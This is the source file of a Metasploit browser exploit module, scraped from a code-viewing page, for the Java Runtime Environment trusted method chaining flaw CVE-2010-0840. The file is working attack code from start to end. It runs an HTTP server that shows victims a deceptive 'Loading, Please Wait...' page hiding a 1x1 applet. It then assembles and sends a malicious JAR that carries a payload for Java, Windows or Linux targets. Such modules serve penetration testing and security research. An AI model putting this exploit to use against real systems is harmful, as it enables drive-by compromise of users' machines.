Path: blob/master/modules/exploits/multi/browser/java_trusted_chain.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910# Superceded by java_atomicreferencearray11# include Msf::Exploit::Remote::BrowserAutopwn12# autopwn_info({ :javascript => false })1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',19'Description' => %q{20This module exploits a vulnerability in Java Runtime Environment21that allows an untrusted method to run in a privileged context. The22vulnerability affects version 6 prior to update 19 and version 523prior to update 23.24},25'License' => MSF_LICENSE,26'Author' => [27'Sami Koivu', # Discovery28'Matthias Kaiser', # PoC29'egypt' # metasploit module30],31'References' => [32[ 'CVE', '2010-0840' ],33[ 'OSVDB', '63483' ],34[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],35],36'Platform' => %w{java linux win},37'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },38'Targets' => [39[40'Generic (Java Payload)',41{42'Arch' => ARCH_JAVA,43}44],45[46'Windows Universal',47{48'Arch' => ARCH_X86,49'Platform' => 'win'50}51],52[53'Linux x86',54{55'Arch' => ARCH_X86,56'Platform' => 'linux'57}58]59],60'DefaultTarget' => 0,61'DisclosureDate' => '2010-03-31',62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)69end7071def on_request_uri(cli, request)72if not request.uri.match(/\.jar$/i)73if not request.uri.match(/\/$/)74send_redirect(cli, get_resource() + '/', '')75return76end7778print_status("#{self.name} handling request")7980send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })81return82end8384paths = [85[ "vuln", "Exploit.class" ],86[ "vuln", "Exploit$1.class" ],87[ "vuln", "Link.class" ],88]8990p = regenerate_payload(cli)9192jar = p.encoded_jar93paths.each do |path|941.upto(path.length - 1) do |idx|95full = path[0, idx].join("/") + "/"96if !(jar.entries.map { |e| e.name }.include?(full))97jar.add_file(full, '')98end99end100fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2010-0840", path), "rb")101data = fd.read(fd.stat.size)102jar.add_file(path.join("/"), data)103fd.close104end105106print_status("Sending Applet.jar")107send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })108109handler(cli)110end111112def generate_html113html = "<html><head><title>Loading, Please Wait...</title></head>"114html += "<body><center><p>Loading, Please Wait...</p></center>"115html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"116html += "</applet></body></html>"117return html118end119end120121122